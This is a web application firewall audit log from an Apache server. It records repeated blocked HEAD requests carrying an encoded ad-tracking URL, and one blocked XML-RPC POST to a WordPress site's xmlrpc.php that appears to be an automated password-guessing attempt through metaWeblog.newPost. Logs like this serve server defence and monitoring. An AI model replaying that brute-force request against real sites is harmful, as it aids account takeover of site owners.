Edit: /var/log/modsec_audit.log (3633188B)
--8a041943-A--
[13/Sep/2026:04:48:56.710376 +0300] aqYBCGM7dE9KgIIOpQhbaQAAAME 151.243.174.234 44398 127.0.0.1 7081
--8a041943-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.234
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--8a041943-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--8a041943-E--
--8a041943-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789264136701222 9198 (- - -)
Stopwatch2: 1789264136701222 9198; combined=5013, p1=388, p2=4202, p3=76, p4=7, p5=340, sr=133, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8a041943-Z--
--5dc78f78-A--
[13/Sep/2026:04:48:58.626973 +0300] aqYBCkwu1RSkptiiNIXsjQAAAJM 151.243.174.251 44400 127.0.0.1 7081
--5dc78f78-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.251
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--5dc78f78-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--5dc78f78-E--
--5dc78f78-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789264138620607 6418 (- - -)
Stopwatch2: 1789264138620607 6418; combined=4215, p1=235, p2=3567, p3=62, p4=6, p5=345, sr=97, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5dc78f78-Z--
--c6df4b20-A--
[13/Sep/2026:04:49:00.334501 +0300] aqYBDEwu1RSkptiiNIXsjwAAAJc 95.134.102.152 44422 127.0.0.1 7081
--c6df4b20-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--c6df4b20-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--c6df4b20-E--
--c6df4b20-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789264140326237 8307 (- - -)
Stopwatch2: 1789264140326237 8307; combined=6099, p1=327, p2=5343, p3=100, p4=9, p5=319, sr=123, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c6df4b20-Z--
--8fd3ba70-A--
[13/Sep/2026:04:53:59.634847 +0300] aqYCN2M7dE9KgIIOpQhbewAAANE 209.101.128.73 56874 127.0.0.1 7081
--8fd3ba70-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 209.101.128.73
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--8fd3ba70-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--8fd3ba70-E--
--8fd3ba70-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789264439601799 33118 (- - -)
Stopwatch2: 1789264439601799 33118; combined=8253, p1=3352, p2=4440, p3=84, p4=9, p5=368, sr=1650, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8fd3ba70-Z--
--135cab26-A--
[13/Sep/2026:04:53:59.928805 +0300] aqYCN2M7dE9KgIIOpQhbfAAAANI 45.91.4.92 56878 127.0.0.1 7081
--135cab26-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 45.91.4.92
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--135cab26-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--135cab26-E--
--135cab26-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789264439919226 9618 (- - -)
Stopwatch2: 1789264439919226 9618; combined=4595, p1=388, p2=3835, p3=66, p4=8, p5=298, sr=134, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--135cab26-Z--
--5dc78f78-A--
[13/Sep/2026:04:54:00.360258 +0300] aqYCODTJ6xTvcJoem7f09AAAAEk 45.91.4.72 56886 127.0.0.1 7081
--5dc78f78-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 45.91.4.72
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--5dc78f78-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--5dc78f78-E--
--5dc78f78-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789264440352868 7429 (- - -)
Stopwatch2: 1789264440352868 7429; combined=5606, p1=309, p2=4859, p3=99, p4=7, p5=332, sr=123, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5dc78f78-Z--
--6376c723-A--
[13/Sep/2026:04:55:16.432889 +0300] aqYChEwu1RSkptiiNIXspQAAAI8 45.91.4.230 54796 127.0.0.1 7081
--6376c723-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 45.91.4.230
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--6376c723-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--6376c723-E--
--6376c723-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789264516424314 8625 (- - -)
Stopwatch2: 1789264516424314 8625; combined=5964, p1=312, p2=5210, p3=68, p4=7, p5=367, sr=105, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6376c723-Z--
--5c0f7958-A--
[13/Sep/2026:04:55:20.243231 +0300] aqYCiGM7dE9KgIIOpQhbjQAAANQ 45.91.4.141 54808 127.0.0.1 7081
--5c0f7958-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 45.91.4.141
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--5c0f7958-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--5c0f7958-E--
--5c0f7958-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789264520236554 6727 (- - -)
Stopwatch2: 1789264520236554 6727; combined=4775, p1=252, p2=4152, p3=71, p4=11, p5=289, sr=96, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5c0f7958-Z--
--27288057-A--
[13/Sep/2026:04:55:25.022261 +0300] aqYCjWM7dE9KgIIOpQhbjgAAAMM 45.91.4.18 54826 127.0.0.1 7081
--27288057-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 45.91.4.18
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--27288057-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--27288057-E--
--27288057-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789264525015209 7110 (- - -)
Stopwatch2: 1789264525015209 7110; combined=5328, p1=315, p2=4490, p3=215, p4=9, p5=298, sr=94, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--27288057-Z--
--5dc78f78-A--
[13/Sep/2026:04:56:00.899871 +0300] aqYCsCsVWymXUono-eRQZwAAABM 151.243.174.229 40154 127.0.0.1 7081
--5dc78f78-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.229
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--5dc78f78-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--5dc78f78-E--
--5dc78f78-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789264560892841 7081 (- - -)
Stopwatch2: 1789264560892841 7081; combined=5233, p1=317, p2=4463, p3=60, p4=6, p5=387, sr=95, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5dc78f78-Z--
--63c38a5f-A--
[13/Sep/2026:04:56:01.261235 +0300] aqYCsWM7dE9KgIIOpQhbqAAAAMA 151.243.174.112 40168 127.0.0.1 7081
--63c38a5f-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.112
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--63c38a5f-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--63c38a5f-E--
--63c38a5f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789264561245227 16060 (- - -)
Stopwatch2: 1789264561245227 16060; combined=21271, p1=366, p2=4400, p3=107, p4=10, p5=8349, sr=151, sw=0, l=0, gc=8039
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--63c38a5f-Z--
--3e65fa7e-A--
[13/Sep/2026:04:56:01.642921 +0300] aqYCsUwu1RSkptiiNIXsrwAAAIk 95.134.102.153 40174 127.0.0.1 7081
--3e65fa7e-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.153
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--3e65fa7e-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--3e65fa7e-E--
--3e65fa7e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789264561631407 11570 (- - -)
Stopwatch2: 1789264561631407 11570; combined=8869, p1=584, p2=7687, p3=133, p4=13, p5=452, sr=361, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--3e65fa7e-Z--
--fe196269-A--
[13/Sep/2026:04:57:15.065686 +0300] aqYC@2M7dE9KgIIOpQhbsQAAANg 38.129.122.250 42144 127.0.0.1 7081
--fe196269-B--
POST /xmlrpc.php HTTP/1.1
Host: iasipentruviitor.ro
X-Real-IP: 38.129.122.250
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 680
Content-Type: text/xml; charset=utf-8
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; x86) AppleWebKit/537.36 (KHTML, like Gecko) Safari/13.0.0.0 Safari/537.36
--fe196269-C--
metaWeblog.newPost18071780717title0x5d2d85fedescription0x5d2d85femt_keywords0x5d2d85femt_excerpt0x5d2d85fe1
--fe196269-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--fe196269-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/003_i360_2_bruteforce.conf"] [line "196"] [id "33303"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:04-57.38.129.122.250"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/iasipentruviitor.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789264635002973 62779 (- - -)
Stopwatch2: 1789264635002973 62779; combined=61093, p1=375, p2=60068, p3=0, p4=0, p5=459, sr=149, sw=191, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--fe196269-Z--
--d035486c-A--
[13/Sep/2026:05:03:27.108827 +0300] aqYEb0wu1RSkptiiNIXsxgAAAIU 151.243.174.180 54438 127.0.0.1 7081
--d035486c-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.180
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--d035486c-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--d035486c-E--
--d035486c-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265007101515 7366 (- - -)
Stopwatch2: 1789265007101515 7366; combined=4842, p1=237, p2=4075, p3=190, p4=8, p5=332, sr=91, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d035486c-Z--
--855a7c45-A--
[13/Sep/2026:05:03:28.099505 +0300] aqYEcEwu1RSkptiiNIXsxwAAAIc 151.243.174.109 54450 127.0.0.1 7081
--855a7c45-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.109
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--855a7c45-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--855a7c45-E--
--855a7c45-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265008086499 13057 (- - -)
Stopwatch2: 1789265008086499 13057; combined=10465, p1=277, p2=9652, p3=156, p4=9, p5=370, sr=151, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--855a7c45-Z--
--24ef961b-A--
[13/Sep/2026:05:03:28.715652 +0300] aqYEcEwu1RSkptiiNIXsyAAAAIg 95.134.102.25 54454 127.0.0.1 7081
--24ef961b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.25
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--24ef961b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--24ef961b-E--
--24ef961b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265008710040 5668 (- - -)
Stopwatch2: 1789265008710040 5668; combined=4209, p1=209, p2=3626, p3=73, p4=6, p5=295, sr=90, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--24ef961b-Z--
--d53b8d0f-A--
[13/Sep/2026:05:03:28.796537 +0300] aqYEcGM7dE9KgIIOpQhb7gAAANg 151.243.174.162 54460 127.0.0.1 7081
--d53b8d0f-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.162
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--d53b8d0f-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--d53b8d0f-E--
--d53b8d0f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265008791109 5466 (- - -)
Stopwatch2: 1789265008791109 5466; combined=3998, p1=228, p2=3465, p3=58, p4=6, p5=241, sr=93, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d53b8d0f-Z--
--614e4c16-A--
[13/Sep/2026:05:03:29.335417 +0300] aqYEcUwu1RSkptiiNIXsygAAAIs 95.134.102.78 54466 127.0.0.1 7081
--614e4c16-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.78
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--614e4c16-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--614e4c16-E--
--614e4c16-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789265009328878 6595 (- - -)
Stopwatch2: 1789265009328878 6595; combined=5112, p1=927, p2=3890, p3=61, p4=6, p5=228, sr=99, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--614e4c16-Z--
--5fc84942-A--
[13/Sep/2026:05:03:30.089662 +0300] aqYEcmM7dE9KgIIOpQhb8AAAANM 151.243.174.45 54500 127.0.0.1 7081
--5fc84942-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.45
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--5fc84942-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--5fc84942-E--
--5fc84942-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
